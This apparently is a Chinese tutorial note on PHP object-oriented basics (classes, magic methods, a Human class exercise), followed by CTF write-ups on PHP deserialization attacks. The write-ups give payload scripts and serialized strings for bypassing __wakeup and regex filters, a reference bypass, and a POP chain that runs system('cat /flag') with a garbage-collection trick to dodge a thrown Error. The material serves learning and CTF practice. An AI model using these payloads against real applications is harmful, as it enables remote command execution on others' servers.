PHP面向对象
一些理论
Q: 什么时面向对象
A: 在面向过程的方式中,主要侧重于完成任务所经历的每一个步骤,将这些步骤定义成函数后,依次调用来完成整个任务
例如:老师布置作业();-学生写作业();学生交作业();老师批改作业();老师公布学生成绩();
面向对象则是一种更符合人类思维习惯的编程思想,它分析现实生活中存在的各种形态不同的事物,通过程序中的对象来映射现实中的事物。这些事物之间存在着各种各样的联系,使用对象的关系来描述事物之间的联系。
使用面向对象思想修改前面的程序,具体如下
老师对象: 布置作业、批改作业、公布学生成绩
学生对象: 写作业、交作业
面向对象思想力图使程序对事物的描述与该事物在现实中的形态保持一致。为了做到这一点,面向对象思想提出了两个概念,即类和对象。
类是对象的模板,对象是类的实例。
• 类表示一个客观世界的某类群体,类中包含该类群体的一些基本特征。
• 对象表示该类群体中一个具体的东西,对象是以类为模板创建的具体事物,也就是类的实例。
类的定义
在PHP中,类时使用class关键字定义的,类中有属性(成员变量)和方法(成员函数)
属性用于描述对象的特征
方法用于描述对象的行为
class 类名{
... //属性列表
... //方法列表
}
类中的规则
- 类名不区分大小写
- 推荐使用大驼峰命名法,即首字母大写
- 类名要做到见名知义
- 通常,属性声明放到方法声明之前,从语法角度看,先后顺序并不重要。类中可以没有任何成员,也可以只有属性成员或方法成员
访问控制符
public(都可访问),protected(类外不可访问),private(子类和类外不可访问)
类的实例化
PHP中使用new关键字创建对象
$对象名 = new 类名([参数1,参数2, ...]);
访问成员类
-> 对象运算符
作用:访问一个对象里面的属性(变量)或者方法(函数)
你可以把它理解成中文里的 「的」
- 对象->属性 = 对象的属性
- 对象->方法() = 对象的方法
- $this->方法() = 当前对象的方法
魔术方法
| 魔术方法 | 触发时机 |
|---|---|
| :------------- | :----------------------------------------------------------- |
| __construct() | 每次创建新对象时先调用此方法 |
| __destruct() | 对象被销毁时触发 |
| __call() | 在对象上下文中调用不可访问的方法时触发 |
| __callStatic() | 在静态上下文中调用不可访问的方法时触发 |
| __get() | 用于从不可访问的属性读取数据或者不存在这个键时调用此方法 |
| __set() | 用于将数据写入不可访问的属性 |
| __isset() | 在不可访问的属性上调用 isset() 或 empty() 时触发 |
| __unset() | 在不可访问的属性上使用 unset() 时触发 |
| __sleep() | 执行 serialize() 时,先会调用这个函数 |
| __wakeup() | 执行 unserialize() 时,先会调用这个函数 |
| __toString() | 把类当作字符串使用时触发 |
| __invoke() | 当尝试将对象调用为函数时触发 |
| __clone() | 对象被克隆时触发 |
| __debugInfo() | 打印 var_dump() 时被调用,允许对象通过 var_dump() 打印其私有信息 |
类的定义和调用练习
1、写一个类:Human
2、Human 类包含 2 个 public 属性:\$name, \$sex 1 个 private 属性:\$age
3、给这个 Human 类一个公共构造方法:__construct (\$name, \$sex, \$age)
包含初始化代码。
4、给 Human 写一个公共方法,方法名字为 sayHi (), 方法内部能打印一句话,介绍自己的姓名和年龄。
5、创建一个对象,变量名为zs=new Human(张三,男,21); 创建一个对象,变量名为sx=new Human (' 书香 ', ' 女 ',21);
6、调用的方法;调用sx 的 sayHi () 方法。
新建一个 php 文件,叫 human.php
<?php
class Human{
public $name;
public $sex;
private $age;
function __construct($name,$sex,$age){
$this->name=$name;
$this->sex=$sex;
$this->age=$age;
}
function sayHi(){
return "I am" . $this->name . "sex is" . $this->sex . ", age is " . $this->age . "\n";
}
}
$zx=new Human('张三','男',21);
$sx=new Human('书香','女',21);
echo $zx->sayHi();
echo $sx->sayHi();
序列化与反序列化
serialize()
unserialize()
__wakeup


两个属性,$username和\$password,对应的要等于指定的值才会输出flag。但是只要执行了反序列化,username字段会被替换成guest,导致不生效,此时将序列化属性数改为非当前属性数即可,例如:这个类中有两个属性,将2改成3即可
<?php
class Name{
public $username;
public $password;
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}}
echo serialize(new Name('admin','8888888'));
得到payload
O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";s:7:"8888888";}
// 修改属性数量
O:4:"Name":3:{s:8:"username";s:5:"admin";s:8:"password";s:7:"8888888";}


进制绕过


Test中有一个属性,当username为admin的时候,输出flag,但是有字符串查找,如果有username就输出nonono
通过转换为16进制绕过这个preg_match
<?php
class Test {
public $username;
public function __construct($username) {
$this->username = $username;
}
}
echo serialize(new Test('admin'));
//进制转换
$hex = bin2hex("username");
$arr = str_split($hex, 2);
echo implode("\\", $arr);
最终payload
?data=O:4:"Test":1:{S:8:"\75\73\65\72\6E\61\6D\65";s:5:"admin";}


正则绕过


依旧是相同的判断,但是这个字符串查找改为了序列化字符串的查找
思路:将\d数字前加上+,+4=4,对+进行url编码后得到最终payload
?data=O:%2b4:"Test":1:{s:8:"username";s:5:"admin";}


引用绕过


漏洞点: a是随机赋值,并且要求a和b严格相等,正常情况下是绝对不可能相等的,如果$b直接引用\$a的内存地址,执行\$this->a=uniqid()时,\$b会变成一样的,这叫引用赋值绕过
<?php
class Test {
public $a;
public $b;
}
$obj = new Test();
// 核心:让 $b 引用 $a
$obj->a = 1;
$obj->b = &$obj->a; // 重点!取地址符 &
echo serialize($obj);
最终payload
?data=O:4:"Test":2:{s:1:"a";i:1;s:1:"b";R:2;}


异常绕过


这是一个非常典型的 PHP 反序列化漏洞 POP 链构造题。题目最后的难点在于:代码在反序列化后直接抛出了一个异常
throw new Error("NoNoNo");,导致程序中途崩溃,从而阻止了常规依靠对象销毁(__destruct)来触发的
POP 链。
要解决这个问题,我们需要做两件事:
- 构造恶意的 POP 链达到
eval()任意代码执行。 - 绕过
throw new Error,让垃圾回收机制(GC)提前销毁对象以触发__destruct。
POP链分析与构造
我们的终极目标是调用 JJ::evil() 或者直接利用 MM::__invoke() 中的
($this->name)($this->c)(这可以直接演变成执行类似 system('whoami') 的命令)。
利用第二种更为直接:MM 类的 __invoke() 方法可以执行
($this->name)($this->c)。如果我们让
$name = 'system',$c = 'cat /flag',就能直接执行命令。
链条串联流程:
- 起点
TT::__destruct():程序销毁TT对象时,会调用echo $this->key;。 - 跳板一
JJ::toString():如果我们将TT的$key赋值为JJ类的实例,当echo尝试把JJ对象当成字符串输出时,就会触发JJ::toString()。 - 跳板二
MM::invoke():在JJ::toString()中,有一句($this->obj)();。如果我们把JJ的$obj赋值为MM类的实例,以函数形式调用一个对象,就会触发MM::__invoke()。 - 终点
MM::__invoke():执行($this->name)($this->c)。
链条关系:
TT::destruct()$\rightarrow$JJ::toString()$\rightarrow$MM::__invoke()$\rightarrow$ 任意命令执行
核心难点:怎么绕过 throw new Error?
在正常情况下,反序列化得到的对象会在整个脚本执行结束时才进行销毁。但在本题中,脚本还没结束就直接
throw new Error 中断了,导致普通的反序列化链根本走不到 __destruct 这一步。
绕过原理:PHP 垃圾回收机制(GC)
PHP 采用引用计数来管理内存。如果一个对象在反序列化数组(或属性)中,其对应的键名(Key)或索引被故意破坏或覆盖,导致它的引用计数归零,PHP
的垃圾回收机制就会立刻在内存中销毁这个对象,从而在 throw new Error 执行之前就提前触发
__destruct()。
常见的绕过手法是:将对象放入一个数组中,并利用反序列化字符串的特性,通过改变数组的元素数量或使用相同的键名来引发序列化错误的判断,强行清空引用。
最简单稳定的做法是:将对象作为数组的第一个元素,但在序列化字符串中,故意让数组的成员数量报错,或者让其提前结束。 甚至直接利用快速销毁(如将数组的键指向同一个对象,破坏结构)。
这里提供一个最经典也是最通用的数组结构破坏法:
包裹一个数组 a:[2:{i:0;O:2:"TT":... i:0;i:0;}](让第二个元素的键名也是
i:0,去覆盖它,或者直接少写一个元素导致反序列化报错,触发销毁)。
三、 Payload 构造脚本
在本地运行以下 PHP 脚本来生成所需要的 Payload:
PHP
<?php
class TT{
public $key;
public $c;
}
class JJ{
public $obj;
}
class MM{
public $name;
public $c;
}
// 1. 构造正常的 POP 链
$mm = new MM();
$mm->name = "system"; // 想要执行的系统函数
$mm->c = "cat /flag"; // 想要执行的命令
$jj = new JJ();
$jj->obj = $mm; // 触发 MM::__invoke
$tt = new TT();
$tt->key = $jj; // 触发 JJ::__toString
// 2. 将恶意对象放入数组中
$a = array($tt);
$ser = serialize($a);
// 正常的序列化结果一般是:a:1:{i:0;O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{...}s:1:"c";N;}}
// 3. 绕过 throw new Error:将 a:1 变成 a:2,但是后面不给第二个元素。
// 这样反序列化在遇到不完整的数组时会报错,从而提前销毁已经生成的 index 0 (即我们的 TT 对象)
$ser = str_replace('a:1:{', 'a:2:{', $ser);
echo urlencode($ser);
?>
最终生成的 Payload 样式示例:
Plaintext
a%3A2%3A%7Bi%3A0%3BO%3A2%3A%22TT%22%3A2%3A%7Bs%3A3%3A%22key%22%3BO%3A2%3A%22JJ%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A2%3A%22MM%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22c%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A1%3A%22c%22%3BN%3B%7D%7D
将该字符串传参给 ?bbb= 即可成功绕过 Error 抛出,直接拿到 Flag。

